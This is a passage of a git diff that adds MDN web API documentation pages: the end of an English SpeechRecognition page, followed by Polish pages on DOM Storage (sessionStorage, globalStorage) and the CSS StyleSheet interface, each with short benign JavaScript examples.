<dt>{{domxref("SpeechRecognition.serviceURI")}}</dt> + <dd>Specifies the location of the speech recognition service used by the current <code>SpeechRecognition</code> to handle the actual recognition. The default is the user agent's default speech service.</dd> +</dl> + +<dl> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em><code>SpeechRecognition</code> also inherits methods from its parent interface, {{domxref("EventTarget")}}.</em></p> + +<dl> + <dt>{{domxref("SpeechRecognition.abort()")}}</dt> + <dd>Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.</dd> + <dt>{{domxref("SpeechRecognition.start()")}}</dt> + <dd>Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.</dd> + <dt>{{domxref("SpeechRecognition.stop()")}}</dt> + <dd>Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.</dd> +</dl> + +<h2 id="Events">Events</h2> + +<p>Listen to these events using <code><a href="/en-US/docs/Web/API/EventTarget/addEventListener">addEventListener()</a></code> or by assigning an event listener to the <code>on<em>eventname</em></code> property of this interface.</p> + +<dl> + <dt><a href="/en-US/docs/Web/API/SpeechRecognition/audiostart_event"><code>audiostart</code></a></dt> + <dd>Fired when the user agent has started to capture audio.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onaudiostart">onaudiostart</a></code> property.</dd> + <dt><a href="/en-US/docs/Web/API/SpeechRecognition/audioend_event"><code>audioend</code></a></dt> + <dd>Fired when the user agent has finished capturing audio.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onaudioend">onaudioend</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/end_event">end</a></code></dt> + <dd>Fired when the speech recognition service has disconnected.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onend">onend</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/error_event">error</a></code></dt> + <dd>Fired when a speech recognition error occurs.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onerror">onerror</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/nomatch_event">nomatch</a></code></dt> + <dd>Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onnomatch">onnomatch</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/result_event">result</a></code></dt> + <dd>Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onresult">onresult</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/soundstart_event">soundstart</a></code></dt> + <dd>Fired when any sound — recognisable speech or not — has been detected.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onsoundstart">onsoundstart</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/soundend_event">soundend</a></code></dt> + <dd>Fired when any sound — recognisable speech or not — has stopped being detected.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onsoundend">onsoundend</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/speechstart_event">speechstart</a></code></dt> + <dd>Fired when sound that is recognised by the speech recognition service as speech has been detected.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onspeechstart">onspeechstart</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/speechend_event">speechend</a></code></dt> + <dd>Fired when speech recognised by the speech recognition service has stopped being detected.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechRecognition/onspeechend">onspeechend</a></code> property.</dd> + <dt><code><a href="/en-US/docs/Web/API/SpeechRecognition/start_event">start</a></code></dt> + <dd>Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current <code>SpeechRecognition</code>.<br> + Also available via the <code><a href="/en-US/docs/Web/API/SpeechSynthesisUtterance/onstart">onstart</a></code> property.</dd> +</dl> + +<h2 id="Examples">Examples</h2> + +<p>In our simple <a href="https://github.com/mdn/web-speech-api/tree/master/speech-color-changer">Speech color changer</a> example, we create a new <code>SpeechRecognition</code> object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the <code>SpeechRecognition</code> instance using the {{domxref("SpeechRecognition.grammars")}} property.</p> + +<p>After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires, we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.</p> + +<pre class="brush: js">var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' +var recognition = new SpeechRecognition(); +var speechRecognitionList = new SpeechGrammarList(); +speechRecognitionList.addFromString(grammar, 1); +recognition.grammars = speechRecognitionList; +//recognition.continuous = false; +recognition.lang = 'en-US'; +recognition.interimResults = false; +recognition.maxAlternatives = 1; + +var diagnostic = document.querySelector('.output'); +var bg = document.querySelector('html'); + +document.body.onclick = function() { + recognition.start(); + console.log('Ready to receive a color command.'); +} + +recognition.onresult = function(event) { + var color = event.results[0][0].transcript; + diagnostic.textContent = 'Result received: ' + color; + bg.style.backgroundColor = color; +}</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}</td> + <td>{{Spec2('Web Speech API')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.SpeechRecognition")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/Web_Speech_API">Web Speech API</a></li> +</ul> diff --git a/files/pl/web/api/storage/index.html b/files/pl/web/api/storage/index.html new file mode 100644 index 0000000000..22f478e9ff --- /dev/null +++ b/files/pl/web/api/storage/index.html @@ -0,0 +1,154 @@ +--- +title: Storage +slug: Web/API/Storage +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - JavaScript + - Wszystkie_kategorie +translation_of: Web/API/Web_Storage_API +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Magazyn DOM (DOM Storage) jest nazwą określającą zestaw <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#storage">aspektów magazynowania danych</a> wprowadzonych w specyfikacji <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>. Magazyn DOM jest zaprojektowany, by dostarczyć większą, bezpieczniejszą i prostszą do użycia, alternatywę przechowywania informacji w ciasteczkach. Jest obecnie dostępny tylko w przeglądarkach bazujących na Mozilli, zwłaszcza zaczynając od <a href="pl/Firefox_2">Firefoksa 2</a>.</p> + +<div class="note"><strong>Uwaga:</strong> Magazyn DOM nie jest tym samym co <a href="pl/Storage">mozStorage</a> (interfejsy XPCOM Mozilli do SQLite) czy <a href="pl/API_przechowywania_sesji">API przechowywania sesji</a> (użyteczność magazynu <a href="pl/XPCOM">XPCOM</a> do użycia przez rozszerzenia).</div> + +<h3 id="Opis" name="Opis">Opis</h3> + +<p>Mechanizm Magazynu DOM w głównej mierze polega na bezpiecznym przechowywaniu par kluczy i wartości możliwych do późniejszego odtworzenia. Celem tego dodatku jest dostarczenie wszechstronnego środka, dzięki któremu mogą być budowane w pełni interaktywne aplikacje (włączając w to zaawansowane cechy, takie jak możliwość pracowania bez dostępu do sieci nawet przez dłuższe okresy czasu).</p> + +<p>Obecnie tylko przeglądarki bazujące na Mozilli dostarczają działającą implementację specyfikacji Magazynu DOM. Jednakże, Internet Explorer posiada podobną funkcję nazwaną <a class="external" href="http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/userdata.asp">"zachowaniem danych użytkownika"</a> (userData behavior), które pozwala na przechowanie danych pomiędzy wieloma sesjami przeglądarki.</p> + +<p>Magazyn DOM jest użyteczny, ponieważ nie istnieje żadna dobra metoda przechowywania przez przeglądarkę sensownej pojemności danych przez dowolny okres czasu. <a class="external" href="http://pl.wikipedia.org/wiki/Ciasteczka_%28internet%29">Ciasteczka HTTP</a> mają ograniczoną pojemność i nie dostarczają żadnego wsparcia dla organizowania przechowywanych danych oraz innych metod (takich jak <a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">Lokalny magazyn Flash (Flash Local Storage)</a>), które do działania wymagają dodatkowych wtyczek.</p> + +<p>Jedną z pierwszych aplikacji, które zaczęły używać nowej funkcjonalności Magazynu DOM (w dodatku do "zachowania danych użytkownika" Internet Explorer) było <a class="external" href="http://aaronboodman.com/halfnote/">halfnote</a> (aplikacja zarządzająca notatkami) napisana przez <a class="external" href="http://aaronboodman.com/">Aarona Boodmana</a>. W swoim programie, Aaron jednocześnie zapisywał swoje notatki na serwer (kiedy jego połączenie Internetowe było aktywne) i dysk lokalny. To pozwala użytkownikowi na bezpieczne zapisywanie notatek, nawet ze sporadyczną aktywnością połączenia z Internetem.</p> + +<p>Pomimo, że koncept oraz implementacja zaprezentowana w programie halfnote była stosunkowo prosta, jego powstanie wskazuje na możliwość tworzenia nowego typu aplikacji internetowych, użytecznych i działających zarówno z aktywnym połączeniem Internetowym, jak i bez niego.</p> + +<h3 id="Odno.C5.9Bniki" name="Odno.C5.9Bniki">Odnośniki</h3> + +<p>Poniższe elementy są obiektami globalnymi, które istnieją jako własności każdego <a href="pl/DOM/window">okna DOM</a>. Znaczy to, że są one dostępne jako własności <code>sessionStorage</code> lub <code>window.sessionStorage</code> (jest to ważne, ponieważ możliwe dzięki temu jest użycie ramek do przechowania i dostępu do dodatkowych danych, po za tym, co automatycznie jest dostępne na stronie).</p> + +<h4 id="sessionStorage" name="sessionStorage"><code>sessionStorage</code></h4> + +<p>Jest to globalny obiekt, który zajmuje się przechowywaniem danych, które mają być dostępne na czas trwania sesji strony. Trwa ona tak długo, dopóki otwarte jest okno przeglądarki, które można przeładowywać i odświeżać. Otwarcie strony w nowej karcie bądź oknie, powoduje stworzenie nowej sesji.</p> + +<pre class="brush: js">// Zapisywanie danych do pamięci aktualnej sesji +sessionStorage.username = "John"; + +// Odtwarzanie wcześniej zapisanych danych +alert( "username = " + sessionStorage.username ); +</pre> + +<p>Obiekt <code>sessionStorage</code> jest najbardziej pomocny przy przechowywaniu tymczasowych danych, które powinny być zapisane i chronione przez utraceniem w razie przypadkowego przeładowania strony.</p> + +<div class="bug"><strong>Uwaga:</strong> Obiekt <code>sessionStorage</code> powinien również być w stanie przechowywać i odtwarzać dane po przypadkowym zawieszeniu się przeglądarki, jednak przez {{ Bug(339445) }} ta funkcjonalność w Firefox jeszcze nie działa.</div> + +<p><strong>Przykłady:</strong></p> + +<p>Automatycznie zapisuje treści pól tekstowych, by w razie przypadkowego odświeżenia strony, odtworzyć treści tych pól, by nie stracić danych już wprowadzonych.</p> + +<pre class="brush: js"> // Pobranie pola tekstowego, który zamierzamy śledzić. + var field = document.getElementById("field"); + + // Sprawdzenie, czy mamy zapisaną już wcześniej wartość + // (stanie się to tylko wtedy, gdy strona została przeładowana) + if ( sessionStorage.autosave ) { + // Odtworzenie wartości pola tekstowego + field.value = sessionStorage.autosave; + } + + // Sprawdzanie wartości pola tekstowego co 1 sekundę + setInterval(function(){ + // Oraz zapisanie jej do obiektu sesji + sessionStorage.autosave = field.value; + }, 1000); +</pre> + +<p><strong>Więcej informacji:</strong></p> + +<ul> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#sessionstorage">Specyfikacja obiektu sessionStorage</a></li> +</ul> + +<h4 id="globalStorage" name="globalStorage"><code>globalStorage</code></h4> + +<p>Jest to globalny obiekt, który utrzymuje wiele przestrzeni publicznych oraz prywatnych, które mogą być użyte do przechowywania danych przez dłuższy okres czasu (np. przez kilka stron czy sesji przeglądarki).</p> + +<pre class="brush: js">// Zapisanie danych, które będzie można odtworzyć tylko z domeny mozilla.org +globalStorage['mozilla.org'].snippet = "<b>Cześć</b>, jak się masz?"; + +// Zapisanie danych, które możliwe będą do otworzenia przez dowolną stronę czy domenę +globalStorage[<span class="nowiki">''</span>].favBrowser = "Firefox"; +</pre> + +<p>Dokładniej mówiąc, obiekt <code>globalStorage</code> daje nam dostęp do wielu różnych magazynów obiektów, do których można przypisywać dane. Dla przykładu, jeśli chcielibyśmy stworzyć stronę internetową, która używałaby obiektu <code>globalStorage</code> w tej domenie (developer.mozilla.org) mielibyśmy takie obiekty magazynów nam dostępne:</p> + +<ul> + <li><code>globalStorage['developer.mozilla.org']</code> - Wszystkie strony wewnątrz subdomeny developer.mozilla.org mogłyby zarówno pobierać i zapisywać dane do tego magazynu.</li> + <li><code>globalStorage['mozilla.org']</code> - Wszystkie strony z domeną mozilla.org mogłyby pobierać i zapisywać dane do tego magazynu.</li> + <li><code>globalStorage['org']</code> - Wszystkie strony z końcówką .org mogą czytać i pobierać dane z tego magazynu.</li> + <li><code>globalStorage['']</code> - Wszystkie strony ze wszystkich domen mają pełen dostęp do tego magazynu.</li> +</ul> + +<p><strong>Przykłady:</strong></p> + +<p>Wszystkie te przykłady wymagają dołączenia kodu na wszystkich stronach, na których chcemy zaobserwować efekt.</p> + +<p>Zapamiętywanie nazwy użytkownika dla konkretnej subdomeny, która została odwiedzona:</p> + +<pre class="brush: js"> globalStorage['developer.mozilla.org'].username = "John"; +</pre> + +<p>Zliczenie każdej wizyty użytkownika na każdej ze stron w danej domenie:</p> + +<pre class="brush: js"> // musi zostać użyte <code>parseInt</code>, ponieważ wszystkie przechowywane dane są jako ciągi znakowe + globalStorage['mozilla.org'].visits = + parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1; +</pre> + +<p>Zapamiętywanie adresów wszystkich stron, które odwiedzasz:</p> + +<pre class="brush: js"> globalStorage[<span class="nowiki">''</span>].sites += "," + location.hostname; +</pre> + +<p><strong>Więcej informacji:</strong></p> + +<ul> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#globalstorage">Specyfikacja obiektu globalStorage</a></li> +</ul> + +<h3 id="Wi.C4.99cej_informacji:" name="Wi.C4.99cej_informacji:">Więcej informacji:</h3> + +<ul> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/">Specyfikacja Web Applications 1.0</a></li> + <li><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#storage">Specyfikacja Web Applications 1.0 Storage</a></li> + <li><a class="external" href="http://kb.mozillazine.org/Dom.storage.enabled">Włączanie i wyłączanie obsługi Magazynu DOM w Firefox i SeaMonkey</a></li> +</ul> + +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> + +<ul> + <li><a class="external" href="http://channy.creation.net/work/firefox/domstorage/">Proste przykłady obsługi Magazynu DOM</a></li> + <li><a class="external" href="http://aaronboodman.com/halfnote/">Halfnote</a> - aplikacja organizująca notatki używająca Magazynu DOM</li> +</ul> + +<h3 id="Tematy_powi.C4.85zane" name="Tematy_powi.C4.85zane">Tematy powiązane</h3> + +<ul> + <li><a class="external" href="http://pl.wikipedia.org/wiki/Ciasteczka_%28internet%29">Ciasteczka HTTP</a> (<code><a href="pl/DOM/document.cookie">document.cookie</a></code>)</li> + <li><a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">Magazyn lokalny Flash (Flash Local Storage)</a></li> + <li><a class="external" href="http://msdn.microsoft.com/workshop/author/behaviors/reference/behaviors/userdata.asp">Zachowanie danych użytkownika Internet Explorer (userData behavior)</a></li> +</ul> + +<p> </p> + +<p> </p> + +<div class="noinclude"> </div> + +<p>{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/cssrules/index.html b/files/pl/web/api/stylesheet/cssrules/index.html new file mode 100644 index 0000000000..d3fabad79a --- /dev/null +++ b/files/pl/web/api/stylesheet/cssrules/index.html @@ -0,0 +1,46 @@ +--- +title: stylesheet.cssRules +slug: Web/API/Stylesheet/cssRules +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSRuleList +--- +<p>{{ ApiRef() }}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako {{domxref("CSSRuleList")}}, tablico-podobny obiekt.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval"><i>rules</i> = stylesheet.cssRules +</pre> + +<p><code>rules</code> jest tablicą {{domxref("CSSRuleList")}} indywidualnych obiektów <code>cssRule</code>. Pojedynczy obiekt <code>cssRule</code> może odwołać się do jednego z następujących obiektów:</p> + +<ul> + <li>{{domxref("CSSStyleRule") }}</li> + <li>{{domxref("CSSMediaRule") }}</li> + <li>{{domxref("CSSFontFaceRule") }}</li> + <li>{{domxref("CSSPageRule") }}</li> + <li>{{domxref("CSSImportRule") }}</li> + <li>{{domxref("CSSCharsetRule") }}</li> + <li>{{domxref("CSSUnknownRule") }}</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre class="eval">// pobiera pierwszą zasadę +first_rule = document.styleSheets[0].cssRules[0]; +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>Zobacz obiekt DOM {{domxref("cssRule")}}.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet-cssRules">DOM Level 2 Style: CSSStyleSheet.cssRules</a></p> diff --git a/files/pl/web/api/stylesheet/deleterule/index.html b/files/pl/web/api/stylesheet/deleterule/index.html new file mode 100644 index 0000000000..bda06f24b4 --- /dev/null +++ b/files/pl/web/api/stylesheet/deleterule/index.html @@ -0,0 +1,26 @@ +--- +title: stylesheet.deleteRule +slug: Web/API/Stylesheet/deleteRule +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSStyleSheet/deleteRule +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Metoda <b>deleteRule</b> usuwa regułę stylu bieżącego obiektu arkusza stylów.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">stylesheet.deleteRule(<i>index</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>index</code> jest długą liczbą reprezentującą pozycję reguły.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> myStyles.deleteRule(0); +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-deleteRule">deleteRule</a></p> +<p>{{ languages( { "en": "en/DOM/stylesheet.deleteRule" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/disabled/index.html b/files/pl/web/api/stylesheet/disabled/index.html new file mode 100644 index 0000000000..74e1e5401a --- /dev/null +++ b/files/pl/web/api/stylesheet/disabled/index.html @@ -0,0 +1,25 @@ +--- +title: stylesheet.disabled +slug: Web/API/Stylesheet/disabled +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/StyleSheet/disabled +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Ta własność sygnalizuje, gdzie bieżący arkusz stylów jest używany lub nie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>bool</i> = stylesheet.disabled +</pre> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// jeśli arkusz stylów jest wyłączony... +if (stylesheet.disabled) { + // zachowuje style in-line +} +</pre> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-disabled">disabled </a></p> +<p>{{ languages( { "en": "en/DOM/stylesheet.disabled" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/href/index.html b/files/pl/web/api/stylesheet/href/index.html new file mode 100644 index 0000000000..e0d7661c24 --- /dev/null +++ b/files/pl/web/api/stylesheet/href/index.html @@ -0,0 +1,42 @@ +--- +title: stylesheet.href +slug: Web/API/Stylesheet/href +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/StyleSheet/href +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zwraca położenie zewnetrznego arkusza stylów.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>uri</i> = stylesheet.href +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>uri</code> jest łańcuchem zawierającym URI arkusza stylów.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> // W lokalnej maszynie: + <html> + <head> + <link rel="StyleSheet" href="example.css" type="text/css" /> + <script> + function sref() { + alert(document.styleSheets[0].href); + } + </script> + </head> + <body> + <div class="thunder">Thunder</div> + <button onclick="sref()">ss</button> + </body> + </html> +// Zwraca "file:////C:/Windows/Desktop/example.css +</pre> +<h3 id="Notatki" name="Notatki">Notatki</h3> +<p>Jeżeli arkusz stylów jest zewnętrznym arkuszem stylów, wartością tego atrybutu jest jego lokalizacja. Dla wewnętrznego arkusza stylów, wartość tego atrybutu wynosi null.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/stylesheets.html#StyleSheets-StyleSheet-href">href </a></p> diff --git a/files/pl/web/api/stylesheet/index.html b/files/pl/web/api/stylesheet/index.html new file mode 100644 index 0000000000..dca62c79ee --- /dev/null +++ b/files/pl/web/api/stylesheet/index.html @@ -0,0 +1,57 @@ +--- +title: Stylesheet +slug: Web/API/Stylesheet +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSStyleSheet +--- +<p>{{ ApiRef() }}</p> + +<p>Ten dział opisuje obiekt <a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">CSSStyleSheet</a>, który opisuje pojedynczy arkusz stylów css.</p> + +<p>Arkusz stylów CSS składa się z reguł CSS, każda z nich może być manipulowana bezpośrednio przez obiekt <a href="pl/DOM/cssRule">CSSRule</a>. Obiekt arkusza stylów pozwala ci kontrolować i modyfikować arkusze stylów,włączając jego listę reguł.</p> + +<p>Możesz pobrać listę arkuszy stylów dla bieżącego dokumentu używając własności <a href="pl/DOM/document.styleSheets">document.styleSheets</a>.</p> + +<h3 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h3> + +<dl> + <dt><a href="pl/DOM/stylesheet.cssRules">stylesheet.cssRules</a></dt> + <dd>Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako tablicę.</dd> + <dt><a href="pl/DOM/stylesheet.disabled">stylesheet.disabled</a></dt> + <dd>Ta własność sygnalizuje, czy bieżący arkusz stylów jest używany lub nie.</dd> + <dt><a href="pl/DOM/stylesheet.href">stylesheet.href</a></dt> + <dd>Zwraca położenie zewnętrznego arkusza stylów.</dd> + <dt><a href="pl/DOM/stylesheet.media">stylesheet.media</a></dt> + <dd>SpeObiekt media określa zamierzony nośnik docelowy dla stylu informacji.</dd> + <dt><a href="pl/DOM/stylesheet.ownerNode">stylesheet.ownerNode</a></dt> + <dd>Zwraca węzeł łączący arkusz stylów z dokumentem.</dd> + <dt><a href="pl/DOM/stylesheet.ownerRule">stylesheet.ownerRule</a></dt> + <dd>Jeżeli arkusz stylów pochodzi z reguły @import, własność ownerRule będzie zawierać CSSImportRule.</dd> + <dt><a href="pl/DOM/stylesheet.parentStyleSheet">stylesheet.parentStyleSheet</a></dt> + <dd>Zwraca arkusz stylów, który włącza obecny arkusz (jeśli istnieje).</dd> + <dt><a href="pl/DOM/stylesheet.title">stylesheet.title</a></dt> + <dd>Zwraca doradczy tytuł bieżącego arkusza stylów.</dd> + <dt><a href="pl/DOM/stylesheet.type">stylesheet.type</a></dt> + <dd>Określa język arkusza stylów dla tego arkusza stylów.</dd> +</dl> + +<h3 id="Metody" name="Metody">Metody</h3> + +<dl> + <dt><a href="pl/DOM/stylesheet.deleteRule">stylesheet.deleteRule</a></dt> + <dd>Usuwa reguły z arkusza stylów.</dd> + <dt><a href="pl/DOM/stylesheet.insertRule">stylesheet.insertRule</a></dt> + <dd>Umieszcza nową regułę stylu dla bieżącego arkusza stylów.</dd> +</dl> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/stylesheets.html#StyleSheets-StyleSheet">DOM Level 2 Style Sheets: StyleSheet</a></p> + +<p><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Style/css.html#CSS-CSSStyleSheet">DOM Level 2 CSS: CSSStyleSheet</a></p> + +<p>{{ languages( { "en": "en/DOM/stylesheet" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/insertrule/index.html b/files/pl/web/api/stylesheet/insertrule/index.html new file mode 100644 index 0000000000..eeabdc8a31 --- /dev/null +++ b/files/pl/web/api/stylesheet/insertrule/index.html @@ -0,0 +1,42 @@ +--- +title: stylesheet.insertRule +slug: Web/API/Stylesheet/insertRule +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/CSSStyleSheet/insertRule +--- +<p>{{APIRef("CSSOM")}}</p> + +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> + +<p>Metoda <strong>insertRule</strong> dodaje nową regułę stylu do aktualnego arkuszu stylu.</p> + +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> + +<pre class="eval">stylesheet.insertRule(<em>rule</em>, <em>index</em>) +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<ul> + <li><code>rule</code> jest ciągiem zawierającym regułę do dodania (selector i declaration).</li> + <li><code>index</code> jest liczbą reprezentującą pozycję do dodania.</li> +</ul> + +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> + +<pre> // push a new rule onto the top of my stylesheet + myStyle.insertRule("#blanc { color: white }", 0); +</pre> + +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> + +<p>For rule sets this contains both the selector and the style declaration. For at-rules, this specifies both the at-identifier and the rule content.</p> + +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> + +<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Style-20001113/css.html#CSS-CSSStyleSheet-insertRule">insertRule </a></p> diff --git a/files/pl/web/api/stylesheet/media/index.html b/files/pl/web/api/stylesheet/media/index.html new file mode 100644 index 0000000000..8264cd5cb1 --- /dev/null +++ b/files/pl/web/api/stylesheet/media/index.html @@ -0,0 +1,29 @@ +--- +title: stylesheet.media +slug: Web/API/Stylesheet/media +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/StyleSheet/media +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Obiekt <b>media</b> określa zamierzony nośnik docelowy dla stylu informacji.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>medium</i> = stylesheet.media +stylesheet.media =<i>medium</i> +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>medium</code> jest łańcuchem znaków opisującym pojedynczy nośnik lub listę nośników oddzielonych przecinkiem.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre><link rel="StyleSheet" href="document.css" type="text/css" media="screen" /> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Domyślną wartością dla media jest "screen".</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM Level 2 Styles - STYLESHEET</p> +<p>{{ languages( { "en": "en/DOM/stylesheet.media" } ) }}</p> diff --git a/files/pl/web/api/stylesheet/ownerrule/index.html 